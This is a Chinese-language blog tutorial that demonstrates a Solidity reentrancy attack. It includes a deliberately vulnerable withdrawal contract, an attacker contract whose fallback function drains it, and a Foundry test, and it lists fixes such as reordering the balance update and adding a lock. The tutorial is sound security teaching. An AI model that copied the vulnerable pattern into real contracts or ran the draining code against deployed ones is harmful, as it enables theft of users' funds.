昨天写一篇,蜜罐的分析,我发现感兴趣的朋友还挺多,我也就多了解了一下这方面的知识,我发现重入攻击大家都是翻译的一个老外的文章,连代码都是提供的图片,我觉得有必要自己写代码来一遍。
重入就是利用solidity虚拟机的机制来进行攻击。
什么是重入攻击?
假设有两个合约A和合约B,合约A调用合约B。在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致了一个循环。
每当我们将以太坊发送到智能合约地址时,我们都会调用我们所说的fallback函数。
fallback 函数的场景
1、调用函数找不到时
当调用的函数找不到时,就会调用默认的fallback函数。
2、send()函数发送ether
当我们使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数。
我们这个例子就是用fallback 函数来连续调用,最终把合约里面的钱都转出来。
被攻击合约如下:
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
require(send, "send failed");
balances[msg.sender] -= _weiToWithdraw;
}
}
攻击环境构建
用我前几天发的Foundry来做这次演示,前面的入门在这里
使用Foundry,感受快,rust对写合约的支持 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
构建一个测试用例:
写在src/test目录下
EtherStore.t.sol
1,部署合约
function setUp() public { //test类的 setup
store = new EtherStore();
attach = new EtherStoreAttach(address(store));
cheats.deal(address(store), 5 ether); //给合约5个eth
cheats.deal(address(attach), 2 ether); //给攻击者 2个eth
}
cheats是Foundry内置的一个mock实例,可以干什么呢,比如上面就是给合约转钱。
我这里转了5个eth
参考里面有cheats的文档链接
2,构建攻击合约,也就是fallback函数
contract EtherStoreAttach is DSTest { //攻击合约
EtherStore store;
fallback() external payable {
emit log_named_uint("fallback", address(store).balance);
if (address(store).balance > 1 ether) {
store.withdrawFunds(1 ether);
}
}
constructor(address _store) public {
store = EtherStore(_store);
}
function Attach() public { //发起攻击函数
store.deposit{value: 1 ether}(); //保证withdrawFunds初步检查不出问题
emit log_named_uint("testAttach", address(store).balance);
store.withdrawFunds(1 ether);
emit log_named_uint("endAttach", address(store).balance);
}
}
3、测试合约
function testAttach() public {
emit log_named_uint("test start store", address(store).balance);
try attach.Attach() {
emit log_named_uint("test ok store", address(store).balance);
} catch {
emit log_string("catch");
}
emit log_named_uint("test end store", address(store).balance);
}
攻击开始,合约里有6个eth,最后剩下一个。
如何防范
网上别人都讲过多次了
1,交换的顺序,这个看起来最简单
balances[msg.sender] -= _weiToWithdraw;
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
2,给合约带锁
加合约成员,_lock变量,
加 modifier 守卫,给withdrawFunds函数加行的modifier 守卫
操作函数时加lock,其他再进入进不去就避免了重入
3,此代码仅在0.8版本一下的solidity能运行,所以问题没有了,看这里
Exploring the new Solidity 0.8 Release (soliditydeveloper.com)
我这个代码要运行,需要这样
pragma solidity ^0.7.0;
参考
重入| 破解 Solidity | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
Solidity Fallback函数详解 - 简书 (jianshu.com)
Reentrancy | Hack Solidity #1. The motivation behind this article is… | by Zuhaib Mohammed | Jan, 2022 | CoinsBench
Cheatcodes Reference - The Foundry Book (onbjerg.github.io)
Top comments (0)